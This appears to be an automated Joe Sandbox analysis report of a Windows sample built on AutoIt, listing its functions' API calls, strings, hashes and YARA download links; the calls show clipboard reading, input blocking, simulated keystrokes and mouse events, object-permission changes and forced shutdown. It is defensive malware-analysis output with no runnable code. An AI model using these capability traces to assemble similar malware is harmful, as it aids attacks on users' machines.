Instruction ID: 9bdd244d0dfb8e2508d5d561569e8caf98d718ec7861b09e325e5d9104724437
Opcode Fuzzy Hash: 2df282f278294eae14db9e2f2a01f1a5a23e7ebe9abbe4da7f7e68e885471b5c
Instruction Fuzzy Hash: ACC09B3D280304DFF2155B80BC5AF107754A349F00F54C102F609555E3C7A51471D658

Non-executed Functions

Function 006D0B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006D10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 006D1114
Part of subcall function 006D10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,006D0B9B,?,?,?), ref: 006D1120
Part of subcall function 006D10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,006D0B9B,?,?,?), ref: 006D112F
Part of subcall function 006D10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,006D0B9B,?,?,?), ref: 006D1136
Part of subcall function 006D10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 006D114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 006D0BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 006D0C00
GetLengthSid.ADVAPI32(?), ref: 006D0C17
GetAce.ADVAPI32(?,00000000,?), ref: 006D0C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 006D0C6D
GetLengthSid.ADVAPI32(?), ref: 006D0C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 006D0C8C
HeapAlloc.KERNEL32(00000000), ref: 006D0C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 006D0CB4
CopySid.ADVAPI32(00000000), ref: 006D0CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 006D0CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 006D0D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 006D0D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 006D0D45
HeapFree.KERNEL32(00000000), ref: 006D0D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 006D0D55
HeapFree.KERNEL32(00000000), ref: 006D0D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 006D0D65
HeapFree.KERNEL32(00000000), ref: 006D0D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 006D0D78
HeapFree.KERNEL32(00000000), ref: 006D0D7F

Part of subcall function 006D1193: GetProcessHeap.KERNEL32(00000008,006D0BB1,?,00000000,?,006D0BB1,?), ref: 006D11A1
Part of subcall function 006D1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,006D0BB1,?), ref: 006D11A8
Part of subcall function 006D1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,006D0BB1,?), ref: 006D11B7

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 0ab7fe832cd93dc548d1867e6f9bcd8c81369f66bab68225ad1f93d996106a21
Instruction ID: b2ecc0855f7fea8e89ec2fb1f42fa57b029de25a30640d8e6bb27295bff30d4f
Opcode Fuzzy Hash: 0ab7fe832cd93dc548d1867e6f9bcd8c81369f66bab68225ad1f93d996106a21
Instruction Fuzzy Hash: E9715C71D0020AEFEF11DFA4DC45BEEBBBABF09300F148616E914A7291DB75A905CB60

Function 006EEAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0070CC08), ref: 006EEB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 006EEB37
GetClipboardData.USER32(0000000D), ref: 006EEB43
CloseClipboard.USER32 ref: 006EEB4F
GlobalLock.KERNEL32(00000000), ref: 006EEB87
CloseClipboard.USER32 ref: 006EEB91
GlobalUnlock.KERNEL32(00000000), ref: 006EEBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 006EEBC9
GetClipboardData.USER32(00000001), ref: 006EEBD1
GlobalLock.KERNEL32(00000000), ref: 006EEBE2
GlobalUnlock.KERNEL32(00000000), ref: 006EEC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 006EEC38
GetClipboardData.USER32(0000000F), ref: 006EEC44
GlobalLock.KERNEL32(00000000), ref: 006EEC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 006EEC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 006EEC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 006EECD2
GlobalUnlock.KERNEL32(00000000), ref: 006EECF3
CountClipboardFormats.USER32 ref: 006EED14
CloseClipboard.USER32 ref: 006EED59

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 4e828392334873367c1d4b9e7861196ed1fdf1b1f286311f64158f8605f97f30
Instruction ID: 6cc427d6ed7f16289f307b35c373bef45b39d6bb25d64db547404e24c9b901ee
Opcode Fuzzy Hash: 4e828392334873367c1d4b9e7861196ed1fdf1b1f286311f64158f8605f97f30
Instruction Fuzzy Hash: 7B61DD34204341DFD311EF21D889F6A77A6AF84714F14861DF45A872A2DF36DD0ACBA6

Function 006E698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 006E69BE
FindClose.KERNEL32(00000000), ref: 006E6A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 006E6A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 006E6A75

Part of subcall function 00679CB3: _wcslen.LIBCMT ref: 00679CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 006E6AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 006E6ADF

Strings

%02d, xrefs: 006E6C00, 006E6C0A, 006E6C5A, 006E6CAA, 006E6CFA, 006E6D4A
%4d%02d%02d%02d%02d%02d, xrefs: 006E6B6A
%4d, xrefs: 006E6BB1
%4d%02d%02d%02d%02d%02d%03d, xrefs: 006E6B32
%03d, xrefs: 006E6DA2

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 8f9b26bcd62b35cc50b2f753640a11bd6c1a68c205341568af2d50e305eb9401
Instruction ID: f3a18b76fe98396fd46addc9ce5f8f3f5dd8fcc953bcd0aef9af82756e295b80
Opcode Fuzzy Hash: 8f9b26bcd62b35cc50b2f753640a11bd6c1a68c205341568af2d50e305eb9401
Instruction Fuzzy Hash: 50D150B1508340AFC754EBA5C882EABB7EDAF98704F04891DF589C7191EB74DA44CB62

Function 006DD076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00673AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00673A97,?,?,00672E7F,?,?,?,00000000), ref: 00673AC2

Part of subcall function 006DE199: GetFileAttributesW.KERNEL32(?,006DCF95), ref: 006DE19A

FindFirstFileW.KERNEL32(?,?), ref: 006DD122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 006DD1DD
MoveFileW.KERNEL32(?,?), ref: 006DD1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 006DD20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 006DD237

Part of subcall function 006DD29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,006DD21C,?,?), ref: 006DD2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 006DD253
FindClose.KERNEL32(00000000), ref: 006DD264

Strings

\*.*, xrefs: 006DD0CD, 006DD0D6, 006DD0EB

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: f9c0c9ef69c26b358b3b499f315c6c0ba9107b1bb9b30405532d2207fc1984ba
Instruction ID: e9f529fbbcb7fb5352d1757a68ebdcf21c579e83b4af8d7e12c1cfe4c1b65562
Opcode Fuzzy Hash: f9c0c9ef69c26b358b3b499f315c6c0ba9107b1bb9b30405532d2207fc1984ba
Instruction Fuzzy Hash: 12616B31C0110DAACF45FBE0CD929EDB7B6AF55300F20816AE50677292EB316F09DB65

Function 006EED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 006EED91
EmptyClipboard.USER32 ref: 006EED97
GlobalAlloc.KERNEL32(00000002,?), ref: 006EEDAC
CloseClipboard.USER32 ref: 006EEEA3

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 136a5ebdae6fa69646af7d0fa64bc2c21e102aae9d458688fda8cd0cd11fdfba
Instruction ID: cddb172760195b49120c1a2467fe503b62a1a082c5ed0a8eb6b3cb8507732c5e
Opcode Fuzzy Hash: 136a5ebdae6fa69646af7d0fa64bc2c21e102aae9d458688fda8cd0cd11fdfba
Instruction Fuzzy Hash: 1C41AE35605651DFD321DF16D888B59BBE2AF44328F14C19DE4198B762CB3AEC42CB94

Function 006DE8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 006D16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 006D170D
Part of subcall function 006D16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 006D173A
Part of subcall function 006D16C3: GetLastError.KERNEL32 ref: 006D174A

ExitWindowsEx.USER32(?,00000000), ref: 006DE932

Strings

@, xrefs: 006DE925
SeShutdownPrivilege, xrefs: 006DE902
, xrefs: 006DE95C
, xrefs: 006DE920

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 1aca90c1b1e47b4b57c182915b0e0c4f023caee6c1eebb8a295e37c8b27c2b79
Instruction ID: 5562bd69912778cf7366de2ab0df999eddd90f450109cb4fb003810c2ef300f6
Opcode Fuzzy Hash: 1aca90c1b1e47b4b57c182915b0e0c4f023caee6c1eebb8a295e37c8b27c2b79
Instruction Fuzzy Hash: C4012672E11211BBEB6433B49C96BFF725EA714751F144A27F802EE3D2D9A65C4081D8

Function 006E648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006E64DC
CoInitialize.OLE32(00000000), ref: 006E6639
CoCreateInstance.OLE32(0070FCF8,00000000,00000001,0070FB68,?), ref: 006E6650
CoUninitialize.OLE32 ref: 006E68D4

Strings

.lnk, xrefs: 006E64BA, 006E6524, 006E65E0

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: bf9d3e1638532914707d9943ff5b3d7627e2f1bfa0d8e145be9c8fb0bb994f97
Instruction ID: fed576bfd9cbd975b43de1f6c6e79af97ef63fea6e5ff102e723cee70b5b728a
Opcode Fuzzy Hash: bf9d3e1638532914707d9943ff5b3d7627e2f1bfa0d8e145be9c8fb0bb994f97
Instruction Fuzzy Hash: B4D14A71608341AFC354DF24C881D6BB7EAFF94344F00896DF5998B2A1EB70E905CBA6

Function 006F22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 006F22E8

Part of subcall function 006EE4EC: GetWindowRect.USER32(?,?), ref: 006EE504

GetDesktopWindow.USER32 ref: 006F2312
GetWindowRect.USER32(00000000), ref: 006F2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 006F2355
GetCursorPos.USER32(?), ref: 006F2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 006F23DF

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 0cc57a22fd8f21895618049e74d37942d6e4808d21f4edc464790fe62ab78141
Instruction ID: 8deb49fdbc37799ae53a44d2f186a2d12077973a595391fe23ecf8aa4e25621f
Opcode Fuzzy Hash: 0cc57a22fd8f21895618049e74d37942d6e4808d21f4edc464790fe62ab78141
Instruction Fuzzy Hash: F431D2B250531A9FC721DF14C845FABBBAAFF84314F000A1DF5859B291DB75E908CB95

Function 006DAA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 006DAAAC
SetKeyboardState.USER32(00000080), ref: 006DAAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 006DAB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 006DAB88

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 1995eeea4ad40a99f5ae8413a17eb99e02871c66991037560c604fade7f72cf0
Instruction ID: 58486ae467673966998d6f03328183cc9acf913d69c57ab4bef0b7e504b2ece3
Opcode Fuzzy Hash: 1995eeea4ad40a99f5ae8413a17eb99e02871c66991037560c604fade7f72cf0
Instruction Fuzzy Hash: 0731E730E48248AFFB358BA5CC05BFA7BA7AB45310F14431BF581963D1D7758982C766

Function 006A2622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 006A271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 006A2724
UnhandledExceptionFilter.KERNEL32(?), ref: 006A2731

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d3348355d6e18502bbb5dd6322ce06f5e816aa6eafaa56b3b965b821f23820f8
Instruction ID: d2b009685461924580e4b70c4c33b10c02de2a464d0e23a43245530dbcb9a5a6
Opcode Fuzzy Hash: d3348355d6e18502bbb5dd6322ce06f5e816aa6eafaa56b3b965b821f23820f8
Instruction Fuzzy Hash: 7F31D774951219ABCB61DF68DC887DCBBB9AF08310F5042DAE80CA7261E7349F818F49

Function 006E68EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 006E6918
FindClose.KERNEL32(00000000), ref: 006E6961

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 947c7f8642ad9866c01d330701340da41102521c1e6da6f487cfe699ed890afc
Instruction ID: 1b9463302de2485d3907a102fffbfdd6c914e729aa7d7b7fde63a429195b95c5
Opcode Fuzzy Hash: 947c7f8642ad9866c01d330701340da41102521c1e6da6f487cfe699ed890afc
Instruction Fuzzy Hash: C2116A316042419FD710DF2AD484A1ABBE6AF85328F14C69DF4698B6A2CB34EC05CB91

Function 006EEAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 006EEABD

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: fad790f1eedf0c97eec1df6c1d2801c7f9b7f122c009dbc64d81dec9eaf2fc94
Instruction ID: 45ac511ce3d4a0d1413732f225b13d166eacafc852b1020274d23a73c4bd95a6
Opcode Fuzzy Hash: fad790f1eedf0c97eec1df6c1d2801c7f9b7f122c009dbc64d81dec9eaf2fc94
Instruction Fuzzy Hash: 36E01A312002049FD710EF6AD804E9AB7EAAF98764F00C42AFC49C7391DB75A8418B94

Function 006909D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,006903EE), ref: 006909DA

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: fee48fc4bb3d385b3742698177ea594db40dbc20c562a15dca8d526a750de7de
Instruction ID: d2c6353d11635bc6c6f2afbf2921a28eac48b3cf7e29d5e049570d608fc08f07
Opcode Fuzzy Hash: fee48fc4bb3d385b3742698177ea594db40dbc20c562a15dca8d526a750de7de
Instruction Fuzzy Hash:

Function 006F2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 006F2B30
DeleteObject.GDI32(00000000), ref: 006F2B43
DestroyWindow.USER32 ref: 006F2B52
GetDesktopWindow.USER32 ref: 006F2B6D
GetWindowRect.USER32(00000000), ref: 006F2B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 006F2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 006F2CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006F2CF8
GetClientRect.USER32(00000000,?), ref: 006F2D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 006F2D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006F2D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006F2D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006F2D80
GlobalLock.KERNEL32(00000000), ref: 006F2D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006F2D98
GlobalUnlock.KERNEL32(00000000), ref: 006F2DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006F2DA8
GlobalFree.KERNEL32(00000000), ref: 006F2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006F2DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,0070FC38,00000000), ref: 006F2DDB
GlobalFree.KERNEL32(00000000), ref: 006F2DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 006F2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 006F2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006F2E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006F303F

Strings

DISPLAY, xrefs: 006F2EA2
AutoIt v3, xrefs: 006F2CF2
static, xrefs: 006F2D3A, 006F2E91
, xrefs: 006F2FC5

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
